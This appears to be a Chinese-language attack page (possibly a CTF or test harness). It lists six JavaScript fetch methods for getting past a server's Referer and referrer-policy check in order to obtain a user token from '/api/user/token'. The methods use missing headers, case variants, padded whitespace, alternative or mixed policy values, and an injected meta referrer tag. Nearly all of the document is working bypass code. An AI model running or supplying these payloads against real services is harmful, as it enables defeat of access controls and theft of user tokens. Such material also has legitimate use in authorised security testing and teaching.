利用边缘情况绕过Referer检查

分析后端代码后的针对性绕过尝试

方法1: 不发送任何相关头部

代码只检查头部存在且值匹配的情况,如果头部不存在则不会阻止

结果将显示在这里
// 不设置任何Referer或Policy头部 fetch('/api/user/token', { method: 'POST', // 不携带头部,让浏览器使用默认行为 credentials: 'same-origin' });

方法2: 使用大小写变体

代码检查的是精确匹配"no-referrer",使用大小写变体可能绕过

结果将显示在这里
// 使用大小写变体 fetch('/api/user/token', { method: 'POST', headers: { 'referrer-policy': 'No-Referrer' // 大小写混合 }, credentials: 'same-origin' });

方法3: 在值中添加空格

代码检查的是精确匹配,添加空格可能绕过

结果将显示在这里
// 添加空格 fetch('/api/user/token', { method: 'POST', headers: { 'referrer-policy': ' no-referrer' // 前面有空格 }, credentials: 'same-origin' });

方法4: 使用其他referrer-policy值

代码只检查"no-referrer",使用其他值可能允许通过

结果将显示在这里
// 使用其他referrer-policy值 fetch('/api/user/token', { method: 'POST', headers: { 'referrer-policy': 'same-origin' // 使用其他合法值 }, credentials: 'same-origin' });

方法5: 使用混合referrer-policy值

使用多个值可能绕过精确匹配检查

结果将显示在这里
// 使用混合值 fetch('/api/user/token', { method: 'POST', headers: { 'referrer-policy': 'origin, no-referrer-when-downgrade' // 多个值 }, credentials: 'same-origin' });

方法6: 使用meta标签控制Referer

使用meta标签设置referrer-policy而不是通过HTTP头

结果将显示在这里
// 添加meta标签控制referer function addMetaTag(value) { const meta = document.createElement('meta'); meta.name = 'referrer'; meta.content = value; document.head.appendChild(meta); } // 然后发送不带referrer-policy头的请求 fetch('/api/user/token', { method: 'POST', credentials: 'same-origin' });